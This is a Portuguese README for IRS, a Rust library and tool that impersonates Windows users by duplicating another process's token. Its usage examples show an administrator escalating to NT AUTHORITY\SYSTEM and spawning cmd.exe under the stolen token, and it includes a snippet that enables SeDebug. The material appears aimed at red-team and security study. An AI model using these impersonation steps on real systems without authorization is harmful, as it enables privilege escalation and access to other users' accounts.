IRS (Impersonate-RS)

💡 O IRS é uma versão de biblioteca do https://github.com/zblurx/impersonate-rs, de zblurx

Reimplementação do Defte Impersonate em Rust puro. Para mais informações sobre ele, veja este post do blog.

A abordagem de representação de token é um pouco diferente da abordagem do Defte Impersonate: aqui você precisa selecionar um PID cujo Token Primário você deseja representar; em seguida, o irs.exe fará:

Duplicar o token
Criar um named pipe (para obter a saída do exec)
Executar o comando com o token alvo por meio de CreateProcessWithTokenW e enviar o resultado para o named pipe
Coletar a saída do comando a partir do named pipe
Exibir a saída do comando

Essa abordagem permitirá que você represente qualquer usuário no computador de destino, desde que tenha privilégios de administrador (sem necessidade de NT SYSTEM) e é utilizável com e sem GUI.

Exemplo do comando list

`exec`

O comando exec abre o processo de destino pelo ID informado no argumento pid, duplica o token dele e executa um comando com o novo token.

X:\>whoami
adcs1\administrator

PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command whoami
[2025-10-13T20:59:42Z INFO  irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM
nt authority\system

PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command "whoami /all"

Exemplo do comando exec

`spawn`

O comando spawn duplica o token do pid selecionado e inicia um novo processo usando o token duplicado.

PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --binary "C:\Windows\System32\cmd.exe"
[2025-10-13T20:59:42Z INFO  irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM

Exemplo do comando spawn

`library`

Ou diretamente no seu projeto Rust, assim:

Cargo.toml:

[dependencies]
irs = { path = "/data/02-GIT/github/impersonate-rs/", version = "1.0.0" }

Ou com o repositório GitHub:

[dependencies]
irs = { git = "https://github.com/g0h4n/impersonate-rs", version = "1.0.0" }

main.rs:

use irs::*;

fn main() {
    // List process
    impersonate::privileges::enabling_sedebug().expect("[!] Failed to run enabling_sedebug()");
    token::enum_token().expect("[!] Failed to run enum_token()");
}

Para ver todas as funções disponíveis, use o seguinte comando para abrir a documentação do Rust.
